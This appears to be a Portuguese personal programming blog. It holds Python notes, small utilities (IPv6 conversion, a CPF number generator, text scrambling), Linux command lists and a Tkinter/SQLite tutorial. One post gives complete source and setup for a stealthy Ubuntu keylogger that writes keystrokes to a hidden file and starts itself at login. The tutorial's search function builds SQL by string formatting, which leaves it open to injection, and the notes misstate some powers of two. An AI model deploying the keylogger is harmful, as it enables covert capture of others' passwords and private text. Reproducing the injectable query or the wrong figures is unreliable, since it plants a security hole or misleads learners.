# 3425310 2020 12 17 https://docs.python.org/3/library/operator.html operadores python3
nome = " felipe "; nome[-8]; type(nome) # String é uma lista
nome.upper(); nome.lower(); "15" + str(2) # Concatena str
print("Felipe 10 vezes!\n" * 10); nome.capitalize() #1a maiúscula
nome.replace("e", "3"); nome.center(50); nome.count("e") # ocorrências;
len(nome); nome.strip() # retira espaços no começo e fim
nome.upper().strip() #dois comandos
nome[3:] #tira os 3 primeiros = 'elipe '
nome[:5] #pega os 5 primeiros = ' fel'
nome[3:5] #dos 5 primeiros tira 3 primeiros = 'el'
nome[2:-3] # tira os 2 primeiros e 3 ultimos = 'felip'
x, z = 3, 3; x is z; # mesmo conteúdo
ord("谷") # numero unicode 35895
nome > "a" # str ordem unicode
def listAtrib(): # a, b, c = 0, 0, 0
return 1, 2, 3
a, b, c = listAtrib() # Atribui retorno a lista de variáveis
a, b = b, a #troca valor das variáveis
def fun(x, y = 10, z = 5): # valor padrão a ultima var
print(z)
x += 7 # atribuição aumentada
assert x == y # asserção de invariantes
print("123",__name__, end="") #nome da função
import mat # terminal na mesma pasta importar função
import sys
# ao invés da função main, se importar o módulo, testes não executa, a classe apenas)
if __name__ == "__main__":
mat.fib(int(sys.argv[1])) # insere/REQUER parâmetro no terminal (como script)((( python3 NOTASPY.py 1000 )))
a = []
for i in range(50, 100, 5): # comeca 50, até 10, de 5 em 5
a.append(i)
print(a)
dir("txt"); dir(6) # métodos existenttes
# help("345".isdigit) # ajuda "q" sai # isdigit() se todos carac sao num turn True
"6".isnumeric() # str e retorna se True se for num
"a".isalpha() #para alfabeto
from datetime import datetime as dt
now = dt.now() # datetime.datetime(2021, 4, 9, 6, 3, 43, 327367)
now.strftime('%Y/%m/%d %H:%M:%S') # Imprimi data
now.strftime('%H:%M:%S %d/%m/%Y') #formato contrario
import time
time.sleep ( 0.1 ) # atrazo
c,r=2,0.5;print('1/%d = %r' %(c, r)) # r= num reais
print("Oi", end='\t') # tabulacao
print(f'Nome: {c} - Idade: {r}') # var = variante
# import subprocess as s # importa do sistema como s
# s.Popen(['xdg-open', 'http:\\google.com']) #abre página no sistema
sys.platform #indica a plataforma em uso # import sys
lista = [6,5,3,4,5,6,1,2] # tupla(), list[]
tupla = (1,2) # sort só funciona em list, ordena a lista e retorna NONE
sorted(lista); print(lista) #retorna lista ordenada
lista.reverse(); print(lista) #inverte lista
lista.sort(reverse=True); print(lista) #revert o sort
import random
n1 = int(random.random()*10+1); print(n1) #numero aleatório
lista.insert(0, "y"); print(lista)
del(lista[0]); print(lista)
lista2 = lista[:] #clonar lista
# CTRL + ] #Indenta CTRL + [ #Edenta (no Idle)
def test():
a=100
return a
print(test, test()) # <function test at 0x7efec2a3e1f0> 100
'''
==================== Operadores ======================
+ (Adição/positivo)
- (Subtração/negativo)
* (Multiplicação)
/ (Divisão)(divisão: D é o dividendo, d é o divisor, q é o quociente e r é o resto.)
// (Divisão inteira)
% (Módulo) Resto da divisão entre operandos (dividendo menor retorna ele mesmo 3%7=3)
** (Exponenciação) Número elevado a potência de outro (cuidado: negativos (-3**2=-9) e (-3*-3=9))
base**expoente (base negativa e expoente positivo “par” o resultado positivo, “impar” negativo)
====== Ordem de Precedência : parêntesis(), da esquerda para direita
Bool Table True, False
exponenciação **
mul/div/unários *, /, //, %
adição +, -
relacional == , !=, <=, >=, ><
logico not
logico and
logico or
matemática parêntesis(), colchetes[], chaves{}
=========================================
Porcentagem = 100*0.655 = 65.5 (porcentagem/100*valor)
Raiz = **0.5
Modulo |-1| = calcular modulo = *-1
Números Complexos (C): C= {√-4, √-3, √--2} (√-1 = unidade imaginaria)
Números Reais(R): conjunto de elementos que inclui:
Números Naturais (N): N = {0, 1, 2, 3, 4, 5,...}
Números Inteiros (Z): Z= {..., -3, -2, -1, 0, 1, 2, 3,...}
Números Racionais (Q): Q = {...,1/2, 3/4, –5/4...}
Números Irracionais (I ): I = {...,√2, √3,√7, 3,141592.…, π}
=========================================
NotasPyPart2.odt
Folha de Consulta: https://www.ime.usp.br/~vwsetzer/python-opers-funcoes.html
--------------
#range(de 3, ate 20, a cada 1)=17
#(3,20,2)=9 (2*9=18) #(3,20,3)=6 (3*6=18)
#(20,3,-1)=17 #(20,-3,-1)=23
a=0
for i in range(20,-3,-1):
a+=1
print(a)
-------------------
Busca Sequencial e Binária: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula23.html
Algoritmos elementares de ordenação: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula24.html
Falta resolver:
Mais funções com números reais: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula14.html
Mais funções com reais: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula15.html
Exercícios: https://panda.ime.usp.br/aulasPython/static/aulasPython/aula16.html
===========================================================================
Attribution 4.0 International (CC BY 4.0)
https://creativecommons.org/licenses/by/4.0/
Você é livre para compartilhar, copiar e redistribuir o material, em qualquer meio ou formato, adaptar, remixar, transformar e construir sobre o material para qualquer finalidade, mesmo comercialmente. Esta licença é de uma Obra Cultural Livre.
O licenciante não irá revogar essas liberdades, desde que você siga os termos da licença:
1- Atribuição - você deve dar o crédito apropriado , um link para a licença e página do autor, de maneira razoável, mas não que sugira que o licenciante endossa você ou seu uso.
2- Sem restrições adicionais - Você não pode aplicar termos legais ou medidas tecnológicas que restrinjam legalmente outros de fazerem qualquer coisa que a licença permita.
Autor: Felipe Tanii Página: https://marocero2016.blogspot.com/
===========================================================================
====== ERRORS ======
----------------------------------------------------
SyntaxError: unexpected EOF while parsing ( falta parênteses, falta “pass” em funcao )
SyntaxError: invalid syntax ( falta ":" dois pontos)
TypeError: apaga_repetidos() takes 1 positional argument but 2 were given (
falta "self" em funcao da classe, )
IndexError: list index out of range (falta 1 parametro)
====== ======= ======
'''
domingo, 18 de abril de 2021
NOTASPY.py
segunda-feira, 12 de abril de 2021
Converter números IPv6 para decimal - Python3
======================================
https://github.com/FelipeTanii/SinapseProtocol/blob/main/ipv6ToDec.py
===============================================
''' Felipe Tanii 2021 04 12
File name: ipv6ToDec.py
Sintaxe: import ipv6ToDec as ip
ip.ipv6Dec(2001:0db8:85a3:08d3:1319:8A2e:0370:7344)
>>> "8193(1) 3512(2) 34211(3) 2259(4) 4889(5) 35374(6) 880(7) 29508(8) "
'''
def abc(abc): # Converte letra hexadecimal para numero decimal
''' abc("str") >>> int
'''
abc = abc.lower()
if abc == "a":
abc = 10
if abc == "b":
abc = 11
if abc == "c":
abc = 12
if abc == "d":
abc = 13
if abc == "e":
abc = 14
if abc == "f":
abc = 15
return abc
def ipv6Dec(ipv6): # Converte numeros ipv6 para decimal
''' ipv6Dec("str") >>> "str"
'''
ipv6 += ":"
n, soma, octe, ipDec = 0, 0, "", ""
for i in ipv6:
if i.isalpha() or i.isnumeric():
octe += i
if not i.isalpha() and not i.isnumeric():
n += 1
if octe[0].isalpha():
soma += 4096 * abc(octe[0])
else:
soma += 4096 * int(octe[0]) # 256 * 16 = 4096
if octe[1].isalpha():
soma += 256 * abc(octe[1])
else:
soma += 256 * int(octe[1]) # 16 * 16 = 256
if octe[2].isalpha():
soma += 16 * abc(octe[2])
else:
soma += 16 * int(octe[2])
if octe[3].isalpha():
soma += abc(octe[3])
else:
soma += int(octe[3])
ipDec += str(soma) + "(" + str(n) + ") "
soma, octe = 0, ""
return ipDec
def test_ipv6Dec():
ipv6 = "2001:0db8:85a3:08d3:1319:8A2e:0370:7344"
r = "8193(1) 3512(2) 34211(3) 2259(4) 4889(5) 35374(6) 880(7) 29508(8) "
#print(ipv6Dec(ipv6),type(ipv6Dec(ipv6)))
#print(r, type(r))
if ipv6Dec(ipv6) == r:
return True
else:
return False
#print(test_ipv6Dec())
sábado, 10 de abril de 2021
Li a Bíblia Sagrada
Li a Bíblia Sagrada toda em dois meses pelo Smartphone, para cumprir uma promessa.
Para ajudar quem deseja ler dividi os livros para facilitar a leitura pelo Smartphone e deixei no Google Drive para compartilhar.
Acesse: https://drive.google.com/drive/folders/1JB7mtv2Q3XIdVr5lnkhFX-ZXlPdF58kp?usp=sharing
quinta-feira, 8 de abril de 2021
Gerador e Validador de CPF em python3
# Filename: cpf.py Sintaxe: import cpf Felipe Tanii 2021 04 09
def inf(): # informacoes sobre
print("CPF = 11 digitos, d1 ao d8 = Atr. Receita Federal, d9 nono digito = UF")
print(" \
0- RS \n\
1- DF, GO, MS, MT, TO \n\
2- AC, AM, AP, PA, RO, RR \n\
3- CE, MA, PI \n\
4- AL, PB, PE, RN \n\
5- BA, SE \n\
6- MG \n\
7- ES, RJ \n\
8- SP \n\
9- PR, SC ")
print("Siglas: \
\nAC Acre \nAL Alagoas \nAP Amapá \
\nAM Amazonas \nBA Bahia \nCE Ceará \
\nDF Distrito Federal \nES Espírito Sant \nGO Goiás \
\nMA Maranhão \nMT Mato Grosso \nMS Mato Grosso do Sul \
\nMG Minas Gerais \nPA Pará \nPB Paraíba \
\nPR Paraná \nPE Pernambuco \nPI Piauí \
\nRJ Rio de Janeiro \nRN Rio Grande do Norte \nRS Rio Grande do Sul \
\nRO Rondônia \nRR Roraima \nSC Santa Catarina \
\nSP São Paulo \nSE Sergipe \nTO Tocantins \
\nDigitos verificadores = d10 e d11 ")
def val(cpf): # Validador de CPF pelo codigo verificador
''' val(str(11 digitos)), return "UF", "verificador", bool
Error: print(erro)
Sintaxe: cpf.val("12345678909") '''
UF = ["RS", "DF, GO, MS, MT, TO", "AC, AM, AP, PA, RO, RR", "CE, MA, PI", "AL, PB, PE, RN", "BA, SE", "MG", "ES, RJ", "SP", "PR, SC"]
d = cpf
V, d10, d11 = "", 0, 0
if d.isnumeric() and len(d) == 11:
L = 10*int(d[0])+9*int(d[1])+8*int(d[2])+7*int(d[3])+6*int(d[4])+5*int(d[5])+4*int(d[6])+3*int(d[7])+2*int(d[8])
c = L//11
r = L%11
if r == 0 or r == 1:
d10 = 0
else:
d10 = 11 - r
M = 10*int(d[1])+9*int(d[2])+8*int(d[3])+7*int(d[4])+6*int(d[5])+5*int(d[6])+4*int(d[7])+3*int(d[8])+2*d10
c = M//11
r = M%11
if r == 0 or r == 1:
d11 = 0
else:
d11 = 11 - r
if str(d10) == d[9] and str(d11) == d[10]:
V = True
else:
V = False
return UF[int(d[8])], str(d10) + str(d11), V
else:
print("(ERRO): Digite os 11 numeros!")
def testVal():
cpf = "12345678909"
print(val(cpf)) # exemplo: 123 456 789 09
return(val(cpf) == ('PR, SC', '09', True))
#print(testVal())
def gen(cpf): # Gerador de CPF (Digite qualquer numero de 9 digitos)
''' val(str(9 digitos)), return "UF", "CPF"
Error: print(erro)
Sintaxe: cpf.val("12345678909") '''
UF = ["RS", "DF, GO, MS, MT, TO", "AC, AM, AP, PA, RO, RR", "CE, MA, PI", "AL, PB, PE, RN", "BA, SE", "MG", "ES, RJ", "SP", "PR, SC"]
d = cpf
d10, d11 = 0, 0
if d.isnumeric() and len(d) == 9:
L = 10*int(d[0])+9*int(d[1])+8*int(d[2])+7*int(d[3])+6*int(d[4])+5*int(d[5])+4*int(d[6])+3*int(d[7])+2*int(d[8])
c = L//11
r = L%11
if r == 0 or r == 1:
d10 = 0
else:
d10 = 11 - r
M = 10*int(d[1])+9*int(d[2])+8*int(d[3])+7*int(d[4])+6*int(d[5])+5*int(d[6])+4*int(d[7])+3*int(d[8])+2*d10
c = M//11
r = M%11
if r == 0 or r == 1:
d11 = 0
else:
d11 = 11 - r
return UF[int(d[8])], cpf + str(d10) + str(d11)
else:
print("(ERRO): Digite os 9 numeros!")
def testGen():
cpf = "123456789"
print(gen(cpf)) # exemplo: 280 012 389 38
return(gen(cpf) == ('PR, SC', '12345678909'))
#print(testGen())
sexta-feira, 2 de abril de 2021
Comandos CLI Linux
Comandos CLI Linux
===
COMANDOS DO TERMINAL sudo
apt update && sudo apt upgrade -y (atualizar)
$apropos (busca nos manuais) $ ctrl+C (interrompe um comando)
$ls (lista o conteúdo de um diretório) $ls -a (lista os diretórios, arquivos ocultos e executáveis) ( GUI ctrl+h)
$ls -l (Lista detalhadamente)(ou $ls -Rla) $pwd (mostra o diretório corrente)
$cd (muda de diretório) Ex: $cd /etc $cd - (volta para o diretório anterior)
$cd .. (volta um diretório acima) $cd ~ (volta para seu diretório /home)
$mkdir [pasta] (cria uma pasta e o nome) $mkdir [pasta1] [pasta2] (cria duas ao mesmo tempo)
$cat > [arquivo] (cria novo arquivo) $cat [arquivo1] >> [arquivo2] (acrescenta arq.2 em arq.1)
$touch [arquivo] (cria um arquivo) $diff [arquivo1] [arquivo2] (compara os dois arquivos)
$locate [arquivo] (localiza arquivo) $less [arquivo] (mostra o arquivo)
$more [arquivo] (mostra o arquivo) $nl [arquivo] linhas do arquivo)
$wc [arquivo] (linhas, palavras e bytes) $[comando1] | [comando2] (conecta dois processos) Ex:$vi /etc/X11/xorg.conf | more
$su (root)(BigLinux:/$ sudo su) $su [usuário] (muda usuário)
$shutdown
(reinicia) $reboot (reinicio emergência) $ systemctl
reboot -i (reinicia mesmo com outros users)
$passwd (troca a senha) $uname -a (sistema operacional)
$cat /etc/*release (mostra mais sobre) $dmesg (mostra informações do sistema)
$arch (arquitetura do PC) $lsmod (módulos)
$echo [mensagem] (exibe mensagem shell) $history (últimos 500 comandos que digitou)
$ps (mostra os processos corrente "PID") $xkill (fecha com ponteiro do mouse em X)
$date (dia e hora) $cal (calendário mês)
$cal [ano] (calendário do ano) $last [-num] (últimos logins)
$clear (limpa a tela) $free (detalhes da memória RAM)
$eject (abre a gaveta cd) $eject -t (fecha a gaveta)
$halt (desliga o PC) $hostname (nome da máquina)
$who (quem está conectado) $wget -c [URL] (download de arquivo)
$whoami (quem logou primeiro) $lspci (componentes PCI )
$init 6 (reinicia rápido) $init 0 (desliga rápido)
$startx (interface gráfica padrão) $ls / | wc -l (conta dentro do dir)
$ ps aux | less (processos) $ df -h (dispositivos conectados)
$mkdir -p [pasta]/[sub-pasta] (cria diretório e sub- diretório)
$rm -r [pasta ou arquivo] (deleta/apaga uma pasta ou arquivo)
$mv [arquivo1] [arquivo2] (renomeia uma pasta)
$mv [arquivo] [caminho] (move) Ex: $mv imagem. jpg /home/Wallpapers
$cp [arquivo] [caminho] (copia arquivo para caminho) Ex: $cp imagem.jpg /t4k_slack/Wallpapers
cp -R /home/user/ /tmp/ (Copia tudo)
$ln -s [caminho] [link] (cria um link) Ex: $ln -s /home/user/folderFile FolderFile
$type [executável] (caminho do executável) Ex: $type Firefox
$head [-linhas] [arquivo] (primeiras linhas do arquivo) Ex:$head -10 texto.txt
$tail [-linhas] [arquivo] (contrário do $head)
$sleep [tempo] && [comando] (timer executa comando) Ex:$sleep 2 && pwd
$top -d [segundos] (detalhes de processos) Ex: $top -d 3
$killall [programa] (força fechar programa)
$mkfs.ext2 (formata em formato Linux Ex: $mkfs.ext2 /dev/fd0
$superformat (formata em formato DOS) Ex: $superformat /dev/fd0
$vmstat -a [tempo] (memória swap em uso) Ex: $vmstat -a 2
#insmod [módulo] (levanta módulo a força) Ex: #insmod spca5x
#less /etc/passwd (exibe users) ou #getent passwd
# useradd -m (adiciona usuário) #userdel -r [usuário] (deleta o usuário e pasta do diretório /home)
#chfn [usuário] (muda informações do usuário)
#chage -M [dias] [usuário] (expira usuário, dia agendado, requer root) Ex: #chage -M 20 fulano
$display [imagem.jpg] (mostra uma imagem no X, necessita ImageMagick) Ex: $display imagem.jpg
$convert [img.png] [img.jpg] (converte .png para .jpg necessita ImageMagick)
$mount [device] (monta um dispositivo) Ex: $mount /mnt/cdrom
$umount [device] (desmonta um dispositivo) Ex: $umount /mnt/cdrom
$du [diretório] (ou dentro da pasta: $du * )(Tamanho do arquivo))
$du -S [sub- diretórios] (tamanho dos sub- diretórios)
$du -msc \.*[!..] (apenas o tamanho de arquivos ocultos) $ du -hs * | sort -h (melhor)
du -msc \.*[!..] * (ocultos e normais)
$[comando] & (inicia o processo em segundo plano e libera o terminal) Ex: $Firefox & Ex: $Firefox &&
$tar -zxvf[arquivo.tar.gz] (descompacta .tar.gz)
$tar -jxvf [arquivo .tar.bz2] (descompacta .tar.bz2)
$time [comando] (tempo gasto para abrir programa)
$uptime (tempo desde o último boot)
$lsattr [folderFile] (lista atributos de um arquivo ou diretório)
$whereis [exe ou comando] (localiza o caminho do executável/comando)
$which (busca exe nos PATHs exportados)
$ watch -n 1 sensors (temperatura das cpus)(nesc. lm-sensors instalado)
$du --exclude ".*" pasta (lista subpastas menos as ocultas)
$alias [comandoAtual] [comandoNovo] (muda nome do comando) Ex:$alias dir=ls -l
TAB (duas vezes)( listar todos os comandos)
Ajuda sobre o [comando] --help ex: $wget --help
$ ls -Rl|egrep "^./|^-" (lista arquivos e diretórios)(achar muitos arquivos em diretórios)
$ file (ver metadados)
---chmod d= diretorio r= leitura w =escrita x= execuçao
0 : --- (sem permissão) 1 : --x (execução) 2 : -w- (escrita)
3 : -wx (escrita e execução) 4 : r-- (leitura) 5 : r-x (leitura e execução)
6 : rw- (leitura e escrita) 7 : rwx (leitura, escrita e execução)
Posicoes 1-root 2-grupo 3-publico : 733 = rwx wx wx
chmod 733 [arquivo ou diretorio] root todas permissoes , grupo nao le e publico nao le.
----$ chown user:group file.txt Alterar o proprietário e grupo de files e pastas
---$ chown jerry demo.txt Apenas o user
terça-feira, 23 de março de 2021
Numeros binarios e Hexadecimais
========================================================================
Hexadecimal: (7E5) ?
0 1 2 3 4 5 6 7 8 9 A B C D (E) F 10 11 12 13 14 15 16 17 18
10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
Binário: 8+4+2+1=7 8421=14(E) 8421=5
0 1 1 1 1110 0101 (0111 1110 0101 = 7E5)
21 ---------------------1024= 1024
0052 1 ----------512+256+128= 896
4215 2631 -------------64+32= 96
8426 8426 8421 ----------4+1= 5
0111 1110 0101 Resultado= 2021
2**0= 0 | 2** 1= 2 | 2** 2= 4 2** 3= 8 (Potencias de 2)
2**4= 16 | 2** 5= 32 | 2** 6= 64 2** 8= 128
2**9= 256 | 2**10= 512 | 2**11=1204 2**12=2048 ========================================================================
Hexadecimal: 15+16+16+16+16+16 14*16 16*16-1 +256+256 +256 +256
F 1F 2F 3F 4F 5F E0 FF 100 200 300 400 500
15 31 47 63 79 95 224 255 256 512 768 1024 1280
7*256+224+5= 2021 :) 2021//256=7 2021%256=229 229//16=14 229%16=5 ========================================================================
Decimal para Binário: 45 ( // significa divisão inteira )
45//2= 22//2= 11//2= 5//2= 2//2= 1
1 0 1 1 0 1 (resto das divisões = Binário) ========================================================================
sexta-feira, 19 de março de 2021
Embaralha e desembaralha texto
| # Na mesma pasta |
| # Nomeie o arquivo a ser criptografado como texto1 |
| # Nomeie o arquivo a ser descriptografado como texto2 |
| # Abra um terminal |
| # Digite: python3 cript8.py # Requer python3 instalado |
| def invert(string): |
| print('Invertendo', len(string)) |
| pos = len(string)-1 |
| stringRe = "" |
| while pos >= 0: |
| stringRe = stringRe + string[pos] |
| pos = pos - 1 |
| return stringRe |
| def embaralha(entra): |
| print('Embaralhando', len(entra)) |
| out1 = out2 = '' |
| for i in range(len(entra)): |
| if i == 0 or i % 2 == 0: |
| out1 += entra[i] |
| else: |
| out2 += entra[i] |
| out2 += out1 |
| return out2 |
| def desembaralha(entra): |
| print('Desenbaralhando', len(entra)) |
| i, n, out = 0, 0, '' |
| n = len(entra) // 2 |
| while i <= (len(entra)) // 2: |
| if n < len(entra): #print('!n', n) |
| out += entra[n] |
| n += 1 |
| if i < len(entra) // 2: |
| out += entra[i] |
| i += 1 |
| return out |
| def ch(): |
| cho = input('\n1-cript, 2-deCript: ') |
| if cho == "1": |
| file = "texto1" |
| with open(file, 'r') as text: |
| txt = text.read() |
| texto = embaralha(invert(embaralha(txt))) |
| print(len(txt), len(texto), 'I/O\n', txt, texto) |
| file = "texto2" |
| with open(file, 'w') as text: |
| text.write(texto) |
| if cho == "2": |
| file = "texto2" |
| with open(file, 'r') as text: |
| txt = text.read() |
| texto = desembaralha(invert(desembaralha(txt))) |
| print(len(txt), len(texto), 'I/O\n', txt, texto) |
| file = "texto3" |
| with open(file, 'w') as text: |
| text.write(texto) |
| else: |
| print(' 1 ou 2 !') |
| ch() |
| ch() |
| ch() |
| # Felipe Tanii data de criação 20210117 | ||||||
sexta-feira, 12 de março de 2021
Keylogger para Ubuntu
# Felipe Tanii
----- Instalar os pacotes:
$ sudo apt install python3-pip
$ pip3 install pynput
$ sudo apt install screen
$ cd ~
$ nano .kllgr.py
------ Copie e cole no nano com shit+ctrl+v
# Felipe Tanii 2020 12 1
from pynput.keyboard import Listener
import re
arquivoLog = '.kllgr.log'
def capturar(tecla):
tecla = str(tecla)
tecla = re.sub(r'\'', '', tecla)
tecla = re.sub(r'Key.', ' ', tecla)
tecla = re.sub(r'space', '', tecla)
tecla = re.sub(r'back', '<-', tecla)
tecla = re.sub(r'enter', '\n', tecla)
tecla = re.sub(r'shift', '', tecla)
with open(arquivoLog, 'a') as log:
log.write(tecla)
with Listener(on_press=capturar) as l:
l.join()
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ nano .kllgr.sh
------ Copie e cole no nano com shit+ctrl+v
#!/bin/sh
# Felipe Tanii 2020 12 1
python3 .kllgr.py &
screen &&
exit
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ chmod +x .kllgr.sh (o torna executável)
-------------------- Para executar ao iniciar -----------------------
----------------------------------------
- Nos aplicativos do Ubuntu busque “Aplicativos iniciais de sessão”.
- Em adicionar, navegar adicione o .kllgr.sh
- Nomeie como kllgr e reinicie
- O arquivo esta oculto em .kllgr.log na sua pasta de usuário
- ctrl + h para visualizar arquivos ocultos
----------------------------------------
------------------ OU -----------------------------------------------
------ Usar o kllgr sem reiniciar ou adicionar na inicialização
- No terminal:
$ screen (abre primeira sessão)
(tap space)
$ python3 .kllgr.py & (Executa & libera)
$ screen && (Abre nova sessao)
(fechar o terminal)
$ ps ax | grep .kllgr.py (ver se executando)
$ kill (numero do PID) (mata o processo)(desliga o kllgr)
----------------------------------------
Arquivos: https://drive.google.com/drive/folders/1UqV69RviZA33gwzpksaSQLFfOGfW97nX?usp=sharing
segunda-feira, 8 de março de 2021
Codigo ate a aula 16 do Curso Python Tkinter do RfZorzi - Rafael Serafim
# https://www.youtube.com/watch?v=RtrZcoVD1WM&list=PLqx8fDb-FZDFznZcXb_u_NyiQ7Nai674-
# sudo apt install python3-tk
# se nomear o file como tkinter.py (erro NameError: name 'Tk' is not defined)
# T do Tk() e L do Label(win... maisculos.
from tkinter import *
from tkinter import ttk
import sqlite3
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter, A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from reportlab.platypus import SimpleDocTemplate, Image
import webbrowser
from PIL import Image #sudo apt install python3-pil.imagetk
from PIL import ImageTk
root = Tk()
#label = Label(root, text="Hello, World!")
#label.place(x=1, y=1)
class Relatorios():
def printCliente(self):
webbrowser.open("cliente.pdf")
def geraRelatCliente(self):
self.c = canvas.Canvas("cliente.pdf")
self.codigoRel = self.codigo_entry.get()
self.nomeRel = self.nome_entry.get()
self.foneRel = self.fone_entry.get()
self.cidadeRel = self.cidade_entry.get()
self.c.setFont("Helvetica-Bold", 20)
self.c.drawString(200, 800, 'Ficha do cliente')
self.c.setFont("Helvetica-Bold", 10)
self.c.drawString(50, 770, 'Codigo:')
self.c.drawString(50, 750, 'Nome:')
self.c.drawString(50, 730, 'Telefone:')
self.c.drawString(50, 710, 'Cidade:')
self.c.setFont("Helvetica", 10)
self.c.drawString(100, 770, self.codigoRel)
self.c.drawString(100, 750, self.nomeRel)
self.c.drawString(100, 730, self.foneRel)
self.c.drawString(100, 710, self.cidadeRel)
self.c.rect(20, 700, 560, 90, fill=False, stroke=True)
self.c.showPage()
self.c.save()
self.printCliente()
class Funcs():
def limpa_cliente(self):
self.codigo_entry.delete(0, END)
self.nome_entry.delete(0, END)
self.fone_entry.delete(0, END)
self.cidade_entry.delete(0, END)
def conecta_bd(self):
self.conn = sqlite3.connect("clientes.bd")
self.cursor = self.conn.cursor(); print("Conectando banco de dados")
def desconecta_bd(self):
self.conn.close(); print("Desconectando banco de dados")
def montaTabelas(self):
self.conecta_bd()
### Criar tabela
self.cursor.execute("""
CREATE TABLE IF NOT EXISTS clientes (
cod INTEGER PRIMARY KEY,
nome_cliente CHAR(40) NOT NULL,
telefone INTEGER(20),
cidade CHAR(40)
);
""")
self.conn.commit(); print("Banco de dados criado")
self.desconecta_bd()
def var(self):
self.codigo = self.codigo_entry.get()
self.nome = self.nome_entry.get()
self.fone = self.fone_entry.get()
self.cidade = self.cidade_entry.get()
def add_cliente(self):
self.var()
self.conecta_bd()
self.cursor.execute(""" INSERT INTO clientes (nome_cliente, telefone, cidade)
VALUES (?, ?, ?)""", (self.nome, self.fone, self.cidade))
self.conn.commit()
self.desconecta_bd()
self.select_lista()
self.limpa_cliente()
def select_lista(self):
self.listaCli.delete(*self.listaCli.get_children())
self.conecta_bd()
lista = self.cursor.execute(""" SELECT cod, nome_cliente, telefone, cidade FROM clientes
ORDER BY nome_cliente ASC; """)
for i in lista:
self.listaCli.insert("", END, values=i)
self.desconecta_bd()
def OnDoubleClick(self, event):
self.limpa_cliente()
self.listaCli.selection()
for n in self.listaCli.selection():
col1, col2, col3, col4 = self.listaCli.item(n, 'values')
self.codigo_entry.insert(END, col1)
self.nome_entry.insert(END, col2)
self.fone_entry.insert(END, col3)
self.cidade_entry.insert(END, col4)
def deleta_cliente(self):
self.var()
self.conecta_bd()
self.cursor.execute(""" DELETE FROM clientes WHERE cod = ? """, (self.codigo,))
self.conn.commit()
self.desconecta_bd()
self.limpa_cliente()
self.select_lista()
def altera_cliente(self):
self.var()
self.conecta_bd()
self.cursor.execute(""" UPDATE clientes SET nome_cliente = ?, telefone = ?, cidade = ?
WHERE cod = ? """, (self.nome, self.fone, self.cidade, self.codigo))
self.conn.commit()
self.desconecta_bd()
self.select_lista()
self.limpa_cliente()
def busca_cliente(self):
self.conecta_bd()
self.listaCli.delete(*self.listaCli.get_children())
self.nome_entry.insert(END, '%')
nome = self.nome_entry.get()
self.cursor.execute(
""" SELECT cod, nome_cliente, telefone, cidade FROM clientes
WHERE nome_cliente LIKE '%s' ORDER BY nome_cliente ASC""" % nome)
buscanomeCli = self.cursor.fetchall()
for i in buscanomeCli:
self.listaCli.insert("", END, values=i)
self.limpa_cliente()
self.desconecta_bd()
class Application(Funcs, Relatorios):
def __init__(self):
self.root = root
self.tela()
self.frames_da_tela()
self.widgets_frame1()
self.lista_frame2()
self.montaTabelas()
self.select_lista()
self.Menus()
root.mainloop()
def tela(self):
self.root.title("Cadastro de Clientes") # titulo da janela
self.root.configure(background= '#1e3743')
self.root.geometry("700x500+0+0")
self.root.resizable(True, True)
self.root.maxsize(width= 900, height= 700)
self.root.minsize(width= 500, height= 400)
def frames_da_tela(self):
self.frame_1 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
self.frame_1.place(relx= 0.02, rely= 0.02, relwidth= 0.96, relheight= 0.46)
self.frame_2 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
self.frame_2.place(relx= 0.02, rely= 0.5, relwidth= 0.96, relheight= 0.46)
def widgets_frame1(self):
self.canvas_bt = Canvas(self.frame_1, bd=0, bg='#1e3743', highlightbackground = '#bcc8d8', highlightthickness= 3)
self.canvas_bt.place(relx= 0.19, rely= 0.081, relwidth= 0.22, relheight= 0.19)
self.bt_limpar = Button(self.frame_1, text= 'Limpar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.limpa_cliente)
self.bt_limpar.place(relx= 0.2, rely= 0.1, relwidth= 0.1, relheight= 0.15)
self.bt_buscar = Button(self.frame_1, text= 'Buscar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command = self.busca_cliente)
self.bt_buscar.place(relx= 0.3, rely= 0.1, relwidth= 0.1, relheight= 0.15)
self.imgNovo = PhotoImage(file = "novo.png")
self.imgNovo = self.imgNovo.subsample(3, 2)
self.style = ttk.Style()
self.style.configure("BW.TButton", relwidth=1, relheight=1, borderwidth=-5, bodercolor= '#bcc8d8', background= 'gray', image= self.imgNovo)
self.bt_novo = ttk.Button(self.frame_1, style = "BW.TButton", command= self.add_cliente)
self.bt_novo.place(relx= 0.6, rely= 0.1, relwidth= 0.1, relheight= 0.15)
self.bt_novo.config(image= self.imgNovo)
self.bt_alterar = Button(self.frame_1, text= 'Alterar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.altera_cliente)
self.bt_alterar.place(relx= 0.7, rely= 0.1, relwidth= 0.1, relheight= 0.15)
self.bt_apagar = Button(self.frame_1, text= 'Apagar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', activebackground= '#bcc8d8', activeforeground='green', font = ('times', 10, 'bold'), command= self.deleta_cliente)
self.bt_apagar.place(relx= 0.8, rely= 0.1, relwidth= 0.1, relheight= 0.15)
self.lb_codigo = Label(self.frame_1, text= 'Codigo', bg= '#dfe3ee', fg= '#024c2c')
self.lb_codigo.place(relx= 0.05, rely= 0.05)
self.codigo_entry = Entry(self.frame_1, fg= '#024c2c')
self.codigo_entry.place(relx= 0.05, rely= 0.15, relwidth= 0.08)
self.lb_nome = Label(self.frame_1, text= 'Nome', bg= '#dfe3ee', fg= '#024c2c')
